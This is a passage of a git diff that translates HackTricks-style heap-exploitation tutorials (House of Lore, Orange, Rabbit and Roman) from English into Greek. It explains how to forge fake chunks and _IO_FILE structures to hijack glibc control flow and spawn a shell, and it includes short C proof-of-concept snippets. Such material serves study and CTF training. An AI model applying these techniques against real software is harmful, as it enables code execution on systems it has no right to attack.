- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (you need to modify a pointer in the freed small bin chunk via some other vuln)
|
||||
- `legit.bk` -> `fake0`
|
||||
- A small chunk is allocated to get legit, making **`fake0`** into the top list of small bins
|
||||
- Another small chunk is allocated, getting `fake0` as a chunk, allowing potentially to read/write pointers inside of it.
|
||||
- Ένα μικρό κομμάτι (`legit`) κατανεμήθηκε, στη συνέχεια κατανεμήθηκε ένα άλλο για να αποτραπεί η συγχώνευση με το κορυφαίο κομμάτι. Στη συνέχεια, το `legit` απελευθερώνεται (μετακινώντας το στη λίστα των αταξινόμητων κομματιών) και κατανεμήθηκε ένα μεγαλύτερο κομμάτι, **μετακινώντας το `legit` στον μικρό κάδο.**
|
||||
- Ένας επιτιθέμενος δημιουργεί μερικά ψεύτικα μικρά κομμάτια και κάνει την απαραίτητη σύνδεση για να παρακάμψει τους ελέγχους εγκυρότητας:
|
||||
- `fake0.bk` -> `fake1`
|
||||
- `fake1.fd` -> `fake0`
|
||||
- `fake0.fd` -> `legit` (πρέπει να τροποποιήσετε έναν δείκτη στο ελεύθερο μικρό κομμάτι μέσω κάποιας άλλης ευπάθειας)
|
||||
- `legit.bk` -> `fake0`
|
||||
- Ένα μικρό κομμάτι κατανεμήθηκε για να αποκτήσει το legit, κάνοντάς το **`fake0`** στην κορυφή της λίστας των μικρών κάδων
|
||||
- Ένα άλλο μικρό κομμάτι κατανεμήθηκε, αποκτώντας το `fake0` ως κομμάτι, επιτρέποντας δυνητικά την ανάγνωση/γραφή δεικτών μέσα σε αυτό.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -6,66 +6,66 @@
|
||||
|
||||
### Code
|
||||
|
||||
- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
|
||||
- The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26)
|
||||
- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
|
||||
- Βρείτε ένα παράδειγμα στο [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c)
|
||||
- Η τεχνική εκμετάλλευσης διορθώθηκε σε αυτό το [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) οπότε αυτό δεν λειτουργεί πλέον (λειτουργεί σε εκδόσεις πριν από την 2.26)
|
||||
- Το ίδιο παράδειγμα **με περισσότερα σχόλια** στο [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)
|
||||
|
||||
### Goal
|
||||
|
||||
- Abuse `malloc_printerr` function
|
||||
- Κατάχρηση της συνάρτησης `malloc_printerr`
|
||||
|
||||
### Requirements
|
||||
|
||||
- Overwrite the top chunk size
|
||||
- Libc and heap leaks
|
||||
- Επικαλύψτε το μέγεθος του κορυφαίου κομματιού
|
||||
- Διαρροές libc και heap
|
||||
|
||||
### Background
|
||||
|
||||
Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
|
||||
Ορισμένα απαραίτητα υπόβαθρα από τα σχόλια από [**αυτό το παράδειγμα**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:**
|
||||
|
||||
Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\
|
||||
This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\
|
||||
Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution
|
||||
Το θέμα είναι ότι, σε παλαιότερες εκδόσεις της libc, όταν καλούνταν η συνάρτηση `malloc_printerr`, θα **επανεξετάσει μια λίστα από δομές `_IO_FILE` που αποθηκεύονται στο `_IO_list_all`**, και στην πραγματικότητα θα **εκτελέσει** έναν δείκτη εντολής σε αυτή τη δομή.\
|
||||
Αυτή η επίθεση θα κατασκευάσει μια **ψεύτικη δομή `_IO_FILE`** που θα γράψουμε στο **`_IO_list_all`**, και θα προκαλέσει την εκτέλεση της `malloc_printerr`.\
|
||||
Στη συνέχεια, θα **εκτελέσει οποιαδήποτε διεύθυνση** έχουμε αποθηκεύσει στον πίνακα άλματος των δομών **`_IO_FILE`**, και θα αποκτήσουμε εκτέλεση κώδικα.
|
||||
|
||||
### Attack
|
||||
|
||||
The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set.
|
||||
Η επίθεση ξεκινά με την επιτυχία να αποκτήσει το **κορυφαίο κομμάτι** μέσα στο **unsorted bin**. Αυτό επιτυγχάνεται καλώντας `malloc` με μέγεθος μεγαλύτερο από το τρέχον μέγεθος του κορυφαίου κομματιού αλλά μικρότερο από το **`mmp_.mmap_threshold`** (προεπιλογή είναι 128K), το οποίο διαφορετικά θα ενεργοποιούσε την κατανομή `mmap`. Όποτε το μέγεθος του κορυφαίου κομματιού τροποποιείται, είναι σημαντικό να διασφαλιστεί ότι το **κορυφαίο κομμάτι + το μέγεθός του** είναι ευθυγραμμισμένο με σελίδα και ότι το bit **prev_inuse** του κορυφαίου κομματιού είναι πάντα ρυθμισμένο.
|
||||
|
||||
To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin.
|
||||
Για να αποκτήσετε το κορυφαίο κομμάτι μέσα στο unsorted bin, εκχωρήστε ένα κομμάτι για να δημιουργήσετε το κορυφαίο κομμάτι, αλλάξτε το μέγεθος του κορυφαίου κομματιού (με μια υπερχείλιση στο εκχωρηθέν κομμάτι) έτσι ώστε το **κορυφαίο κομμάτι + μέγεθος** να είναι ευθυγραμμισμένο με σελίδα με το bit **prev_inuse** ρυθμισμένο. Στη συνέχεια, εκχωρήστε ένα κομμάτι μεγαλύτερο από το νέο μέγεθος του κορυφαίου κομματιού. Σημειώστε ότι η `free` δεν καλείται ποτέ για να αποκτήσει το κορυφαίο κομμάτι στο unsorted bin.
|
||||
|
||||
The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**.
|
||||
Το παλιό κορυφαίο κομμάτι είναι τώρα στο unsorted bin. Υποθέτοντας ότι μπορούμε να διαβάσουμε δεδομένα μέσα σε αυτό (πιθανώς λόγω μιας ευπάθειας που προκάλεσε επίσης την υπερχείλιση), είναι δυνατό να διαρρεύσουμε διευθύνσεις libc από αυτό και να αποκτήσουμε τη διεύθυνση του **\_IO_list_all**.
|
||||
|
||||
An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**.
|
||||
Μια επίθεση unsorted bin εκτελείται με την κατάχρηση της υπερχείλισης για να γράψει `topChunk->bk->fwd = _IO_list_all - 0x10`. Όταν εκχωρηθεί ένα νέο κομμάτι, το παλιό κορυφαίο κομμάτι θα χωριστεί, και ένας δείκτης στο unsorted bin θα γραφεί στο **`_IO_list_all`**.
|
||||
|
||||
The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes:
|
||||
Το επόμενο βήμα περιλαμβάνει τη μείωση του μεγέθους του παλιού κορυφαίου κομματιού για να χωρέσει σε ένα μικρό bin, ρυθμίζοντας συγκεκριμένα το μέγεθός του σε **0x61**. Αυτό εξυπηρετεί δύο σκοπούς:
|
||||
|
||||
1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack.
|
||||
2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`.
|
||||
1. **Εισαγωγή στο Small Bin 4**: Όταν η `malloc` σκανάρει το unsorted bin και δει αυτό το κομμάτι, θα προσπαθήσει να το εισαγάγει στο small bin 4 λόγω του μικρού του μεγέθους. Αυτό καθιστά το κομμάτι να καταλήξει στην κεφαλή της λίστας small bin 4, η οποία είναι η τοποθεσία του δείκτη FD του κομματιού του **`_IO_list_all`** καθώς γράψαμε μια κοντινή διεύθυνση στο **`_IO_list_all`** μέσω της επίθεσης unsorted bin.
|
||||
2. **Προκαλώντας έναν Έλεγχο Malloc**: Αυτή η χειραγώγηση μεγέθους κομματιού θα προκαλέσει την `malloc` να εκτελέσει εσωτερικούς ελέγχους. Όταν ελέγχει το μέγεθος του ψευδούς κομματιού forward, το οποίο θα είναι μηδέν, προκαλεί ένα σφάλμα και καλεί την `malloc_printerr`.
|
||||
|
||||
The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed.
|
||||
Η χειραγώγηση του μικρού bin θα σας επιτρέψει να ελέγξετε τον δείκτη forward του κομματιού. Η επικάλυψη με **\_IO_list_all** χρησιμοποιείται για να κατασκευάσει μια ψεύτικη δομή **\_IO_FILE**. Η δομή είναι προσεκτικά κατασκευασμένη για να περιλαμβάνει βασικά πεδία όπως `_IO_write_base` και `_IO_write_ptr` ρυθμισμένα σε τιμές που περνούν τους εσωτερικούς ελέγχους στη libc. Επιπλέον, δημιουργείται ένας πίνακας άλματος μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολής ρυθμίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας (π.χ., η συνάρτηση `system`).
|
||||
|
||||
To summarize the remaining part of the technique:
|
||||
Για να συνοψίσουμε το υπόλοιπο της τεχνικής:
|
||||
|
||||
- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin.
|
||||
- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow.
|
||||
- **Μειώστε το Παλιό Κορυφαίο Κομμάτι**: Ρυθμίστε το μέγεθος του παλιού κορυφαίου κομματιού σε **0x61** για να χωρέσει σε ένα μικρό bin.
|
||||
- **Ρυθμίστε τη Ψεύτικη Δομή `_IO_FILE`**: Επικαλύψτε το παλιό κορυφαίο κομμάτι με τη ψεύτικη δομή **\_IO_FILE** και ρυθμίστε τα πεδία κατάλληλα για να καταλάβετε τη ροή εκτέλεσης.
|
||||
|
||||
The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed.
|
||||
Το επόμενο βήμα περιλαμβάνει την κατασκευή μιας ψεύτικης δομής **\_IO_FILE** που επικαλύπτεται με το παλιό κορυφαίο κομμάτι που βρίσκεται αυτή τη στιγμή στο unsorted bin. Τα πρώτα bytes αυτής της δομής κατασκευάζονται προσεκτικά για να περιλαμβάνουν έναν δείκτη σε μια εντολή (π.χ., "/bin/sh") που θα εκτελείται.
|
||||
|
||||
Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands.
|
||||
Βασικά πεδία στη ψεύτικη δομή **\_IO_FILE**, όπως `_IO_write_base` και `_IO_write_ptr`, ρυθμίζονται σε τιμές που περνούν τους εσωτερικούς ελέγχους στη libc. Επιπλέον, δημιουργείται ένας πίνακας άλματος μέσα στη ψεύτικη δομή, όπου ένας δείκτης εντολής ρυθμίζεται στη διεύθυνση όπου μπορεί να εκτελεστεί αυθαίρετος κώδικας. Συνήθως, αυτή θα είναι η διεύθυνση της συνάρτησης `system` ή κάποια άλλη συνάρτηση που μπορεί να εκτελέσει εντολές shell.
|
||||
|
||||
The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed.
|
||||
Η επίθεση κορυφώνεται όταν μια κλήση στην `malloc` προκαλεί την εκτέλεση του κώδικα μέσω της χειραγωγημένης δομής **\_IO_FILE**. Αυτό επιτρέπει αποτελεσματικά την εκτέλεση αυθαίρετου κώδικα, συνήθως με αποτέλεσμα την εκκίνηση ενός shell ή την εκτέλεση άλλου κακόβουλου payload.
|
||||
|
||||
**Summary of the Attack:**
|
||||
**Σύνοψη της Επίθεσης:**
|
||||
|
||||
1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size.
|
||||
2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk.
|
||||
3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin.
|
||||
4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow.
|
||||
5. **Shrink the old top chunk**: Adjust its size to fit into a small bin.
|
||||
6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow.
|
||||
7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code.
|
||||
1. **Ρυθμίστε το κορυφαίο κομμάτι**: Εκχωρήστε ένα κομμάτι και τροποποιήστε το μέγεθος του κορυφαίου κομματιού.
|
||||
2. **Αναγκάστε το κορυφαίο κομμάτι στο unsorted bin**: Εκχωρήστε ένα μεγαλύτερο κομμάτι.
|
||||
3. **Διαρρεύστε διευθύνσεις libc**: Χρησιμοποιήστε την ευπάθεια για να διαβάσετε από το unsorted bin.
|
||||
4. **Εκτελέστε την επίθεση unsorted bin**: Γράψτε στο **\_IO_list_all** χρησιμοποιώντας μια υπερχείλιση.
|
||||
5. **Μειώστε το παλιό κορυφαίο κομμάτι**: Ρυθμίστε το μέγεθός του για να χωρέσει σε ένα μικρό bin.
|
||||
6. **Ρυθμίστε μια ψεύτικη δομή \_IO_FILE**: Κατασκευάστε μια ψεύτικη δομή αρχείου για να καταλάβετε τη ροή ελέγχου.
|
||||
7. **Προκαλέστε εκτέλεση κώδικα**: Εκχωρήστε ένα κομμάτι για να εκτελέσετε την επίθεση και να τρέξετε αυθαίρετο κώδικα.
|
||||
|
||||
This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities.
|
||||
Αυτή η προσέγγιση εκμεταλλεύεται μηχανισμούς διαχείρισης heap, διαρροές πληροφοριών libc και υπερχείλιση heap για να επιτύχει εκτέλεση κώδικα χωρίς να καλεί άμεσα την `free`. Με την προσεκτική κατασκευή της ψεύτικης δομής **\_IO_FILE** και την τοποθέτησή της στη σωστή θέση, η επίθεση μπορεί να καταλάβει τη ροή ελέγχου κατά τη διάρκεια των τυπικών λειτουργιών κατανομής μνήμης. Αυτό επιτρέπει την εκτέλεση αυθαίρετου κώδικα, πιθανώς με αποτέλεσμα την εκκίνηση ενός shell ή άλλων κακόβουλων δραστηριοτήτων.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,108 +4,90 @@
|
||||
|
||||
### Requirements
|
||||
|
||||
1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size.
|
||||
2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks.
|
||||
1. **Δυνατότητα τροποποίησης του δείκτη fd του fast bin ή του μεγέθους**: Αυτό σημαίνει ότι μπορείτε να αλλάξετε τον προ Forward δείκτη ενός chunk στο fastbin ή το μέγεθός του.
|
||||
2. **Δυνατότητα ενεργοποίησης του `malloc_consolidate`**: Αυτό μπορεί να γίνει είτε με την εκχώρηση ενός μεγάλου chunk είτε με τη συγχώνευση του κορυφαίου chunk, που αναγκάζει τη heap να συγχωνεύσει τα chunks.
|
||||
|
||||
### Goals
|
||||
|
||||
1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations.
|
||||
2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations.
|
||||
1. **Δημιουργία επικαλυπτόμενων chunks**: Για να έχει ένα chunk επικαλυπτόμενο με ένα άλλο, επιτρέποντας περαιτέρω χειρισμούς στη heap.
|
||||
2. **Κατασκευή ψεύτικων chunks**: Για να ξεγελάσετε τον allocator να θεωρεί ένα ψεύτικο chunk ως νόμιμο chunk κατά τη διάρκεια των λειτουργιών της heap.
|
||||
|
||||
## Steps of the attack
|
||||
|
||||
### POC 1: Modify the size of a fast bin chunk
|
||||
### POC 1: Τροποποίηση του μεγέθους ενός fast bin chunk
|
||||
|
||||
**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk.
|
||||
|
||||
- **Step 1: Allocate Chunks**
|
||||
**Objective**: Δημιουργία ενός επικαλυπτόμενου chunk τροποποιώντας το μέγεθος ενός fastbin chunk.
|
||||
|
||||
- **Step 1: Εκχώρηση Chunks**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050
|
||||
malloc(0x10); // Allocates a small chunk to change the fastbin state
|
||||
```
|
||||
Αναθέτουμε δύο κομμάτια των 0x40 byte το καθένα. Αυτά τα κομμάτια θα τοποθετηθούν στη λίστα γρήγορων κομματιών μόλις απελευθερωθούν.
|
||||
|
||||
We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed.
|
||||
|
||||
- **Step 2: Free Chunks**
|
||||
|
||||
- **Βήμα 2: Απελευθέρωση Κομματιών**
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
free(chunk2); // Frees the chunk at 0x602050
|
||||
```
|
||||
Απελευθερώνουμε και τα δύο κομμάτια, προσθέτοντάς τα στη λίστα fastbin.
|
||||
|
||||
We free both chunks, adding them to the fastbin list.
|
||||
|
||||
- **Step 3: Modify Chunk Size**
|
||||
|
||||
- **Βήμα 3: Τροποποίηση Μεγέθους Κομματιού**
|
||||
```cpp
|
||||
chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])
|
||||
```
|
||||
Αλλάζουμε τα μεταδεδομένα μεγέθους του `chunk1` σε 0xa1. Αυτό είναι ένα κρίσιμο βήμα για να ξεγελάσουμε τον αλγόριθμο κατανομής κατά τη διάρκεια της ενοποίησης.
|
||||
|
||||
We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation.
|
||||
|
||||
- **Step 4: Trigger `malloc_consolidate`**
|
||||
|
||||
- **Βήμα 4: Ενεργοποιήστε το `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(0x1000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
Η εκχώρηση ενός μεγάλου κομματιού ενεργοποιεί τη λειτουργία `malloc_consolidate`, συγχωνεύοντας μικρά κομμάτια στο γρήγορο bin. Το χειρισμένο μέγεθος του `chunk1` προκαλεί να επικαλύπτεται με το `chunk2`.
|
||||
|
||||
Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`.
|
||||
Μετά τη συγχώνευση, το `chunk1` επικαλύπτεται με το `chunk2`, επιτρέποντας περαιτέρω εκμετάλλευση.
|
||||
|
||||
After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation.
|
||||
### POC 2: Τροποποίηση του δείκτη `fd`
|
||||
|
||||
### POC 2: Modify the `fd` pointer
|
||||
|
||||
**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer.
|
||||
|
||||
- **Step 1: Allocate Chunks**
|
||||
**Στόχος**: Δημιουργία ενός ψεύτικου κομματιού με την τροποποίηση του δείκτη `fd` του γρήγορου bin.
|
||||
|
||||
- **Βήμα 1: Εκχώρηση Κομματιών**
|
||||
```cpp
|
||||
unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000
|
||||
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050
|
||||
```
|
||||
**Εξήγηση**: Δεσμεύουμε δύο κομμάτια, ένα μικρότερο και ένα μεγαλύτερο, για να ρυθμίσουμε τη στοίβα για το ψεύτικο κομμάτι.
|
||||
|
||||
**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk.
|
||||
|
||||
- **Step 2: Create fake chunk**
|
||||
|
||||
- **Βήμα 2: Δημιουργία ψεύτικου κομματιού**
|
||||
```cpp
|
||||
chunk2[1] = 0x31; // Fake chunk size 0x30
|
||||
chunk2[7] = 0x21; // Next fake chunk
|
||||
chunk2[11] = 0x21; // Next-next fake chunk
|
||||
```
|
||||
Γράφουμε ψευδείς μεταδεδομένες πληροφορίες κομματιού στο `chunk2` για να προσομοιώσουμε μικρότερα κομμάτια.
|
||||
|
||||
We write fake chunk metadata into `chunk2` to simulate smaller chunks.
|
||||
|
||||
- **Step 3: Free `chunk1`**
|
||||
|
||||
- **Βήμα 3: Απελευθερώστε το `chunk1`**
|
||||
```cpp
|
||||
free(chunk1); // Frees the chunk at 0x602000
|
||||
```
|
||||
**Εξήγηση**: Απελευθερώνουμε το `chunk1`, προσθέτοντάς το στη λίστα fastbin.
|
||||
|
||||
**Explanation**: We free `chunk1`, adding it to the fastbin list.
|
||||
|
||||
- **Step 4: Modify `fd` of `chunk1`**
|
||||
|
||||
- **Βήμα 4: Τροποποιήστε το `fd` του `chunk1`**
|
||||
```cpp
|
||||
chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2
|
||||
```
|
||||
**Εξήγηση**: Αλλάζουμε τον δείκτη προς τα εμπρός (`fd`) του `chunk1` ώστε να δείχνει στο ψεύτικο chunk μας μέσα στο `chunk2`.
|
||||
|
||||
**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`.
|
||||
|
||||
- **Step 5: Trigger `malloc_consolidate`**
|
||||
|
||||
- **Βήμα 5: Ενεργοποιήστε το `malloc_consolidate`**
|
||||
```cpp
|
||||
malloc(5000); // Allocate a large chunk to trigger heap consolidation
|
||||
```
|
||||
Η εκχώρηση ενός μεγάλου κομματιού ξαναενεργοποιεί το `malloc_consolidate`, το οποίο επεξεργάζεται το ψεύτικο κομμάτι.
|
||||
|
||||
Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk.
|
||||
Το ψεύτικο κομμάτι γίνεται μέρος της λίστας fastbin, καθιστώντας το ένα νόμιμο κομμάτι για περαιτέρω εκμετάλλευση.
|
||||
|
||||
The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation.
|
||||
### Περίληψη
|
||||
|
||||
### Summary
|
||||
|
||||
The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills.
|
||||
Η τεχνική **House of Rabbit** περιλαμβάνει είτε την τροποποίηση του μεγέθους ενός κομματιού fast bin για τη δημιουργία επικαλυπτόμενων κομματιών είτε την παραποίηση του δείκτη `fd` για τη δημιουργία ψεύτικων κομματιών. Αυτό επιτρέπει στους επιτιθέμενους να πλαστογραφήσουν νόμιμα κομμάτια στη heap, διευκολύνοντας διάφορες μορφές εκμετάλλευσης. Η κατανόηση και η πρακτική αυτών των βημάτων θα ενισχύσουν τις ικανότητές σας στην εκμετάλλευση της heap.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,85 +4,80 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||
Αυτή ήταν μια πολύ ενδιαφέρουσα τεχνική που επέτρεπε RCE χωρίς leaks μέσω ψεύτικων fastbins, της επίθεσης unsorted_bin και σχετικών υπεργραφών. Ωστόσο, έχει [**διορθωθεί**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c).
|
||||
|
||||
### Code
|
||||
|
||||
- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
- Μπορείτε να βρείτε ένα παράδειγμα στο [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
|
||||
### Goal
|
||||
|
||||
- RCE by abusing relative pointers
|
||||
- RCE εκμεταλλευόμενοι σχετικούς δείκτες
|
||||
|
||||
### Requirements
|
||||
|
||||
- Edit fastbin and unsorted bin pointers
|
||||
- 12 bits of randomness must be brute forced (0.02% chance) of working
|
||||
- Επεξεργασία των δεικτών fastbin και unsorted bin
|
||||
- 12 bits τυχαιότητας πρέπει να είναι brute forced (0.02% πιθανότητα) να λειτουργήσουν
|
||||
|
||||
## Attack Steps
|
||||
|
||||
### Part 1: Fastbin Chunk points to \_\_malloc_hook
|
||||
|
||||
Create several chunks:
|
||||
Δημιουργήστε αρκετά chunks:
|
||||
|
||||
- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value.
|
||||
- `chunk2` (0x80, offset 0x70): For good alignment
|
||||
- `fastbin_victim` (0x60, offset 0): UAF chunk που θα επεξεργαστεί αργότερα τον δείκτη heap για να δείχνει στην τιμή LibC.
|
||||
- `chunk2` (0x80, offset 0x70): Για καλή ευθυγράμμιση
|
||||
- `main_arena_use` (0x80, offset 0x100)
|
||||
- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk
|
||||
- `relative_offset_heap` (0x60, offset 0x190): σχετική απόσταση στο chunk 'main_arena_use'
|
||||
|
||||
Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers.
|
||||
Στη συνέχεια, `free(main_arena_use)` που θα τοποθετήσει αυτό το chunk στη λίστα unsorted και θα αποκτήσει έναν δείκτη στο `main_arena + 0x68` και στους δύο δείκτες `fd` και `bk`.
|
||||
|
||||
Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`.
|
||||
|
||||
Then `relative_offset_heap` and `fastbin_victim` are freed.
|
||||
Τώρα έχει εκχωρηθεί ένα νέο chunk `fake_libc_chunk(0x60)` γιατί θα περιέχει τους δείκτες στο `main_arena + 0x68` στους `fd` και `bk`.
|
||||
|
||||
Στη συνέχεια, `relative_offset_heap` και `fastbin_victim` απελευθερώνονται.
|
||||
```c
|
||||
/*
|
||||
Current heap layout:
|
||||
0x0: fastbin_victim - size 0x70
|
||||
0x70: alignment_filler - size 0x90
|
||||
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
|
||||
0x170: leftover_main - size 0x20
|
||||
0x190: relative_offset_heap - size 0x70
|
||||
0x0: fastbin_victim - size 0x70
|
||||
0x70: alignment_filler - size 0x90
|
||||
0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68)
|
||||
0x170: leftover_main - size 0x20
|
||||
0x190: relative_offset_heap - size 0x70
|
||||
|
||||
bin layout:
|
||||
fastbin: fastbin_victim -> relative_offset_heap
|
||||
unsorted: leftover_main
|
||||
bin layout:
|
||||
fastbin: fastbin_victim -> relative_offset_heap
|
||||
unsorted: leftover_main
|
||||
*/
|
||||
```
|
||||
-  `fastbin_victim` έχει ένα `fd` που δείχνει στο `relative_offset_heap`
|
||||
-  `relative_offset_heap` είναι μια απόσταση από το `fake_libc_chunk`, το οποίο περιέχει έναν δείκτη προς `main_arena + 0x68`
|
||||
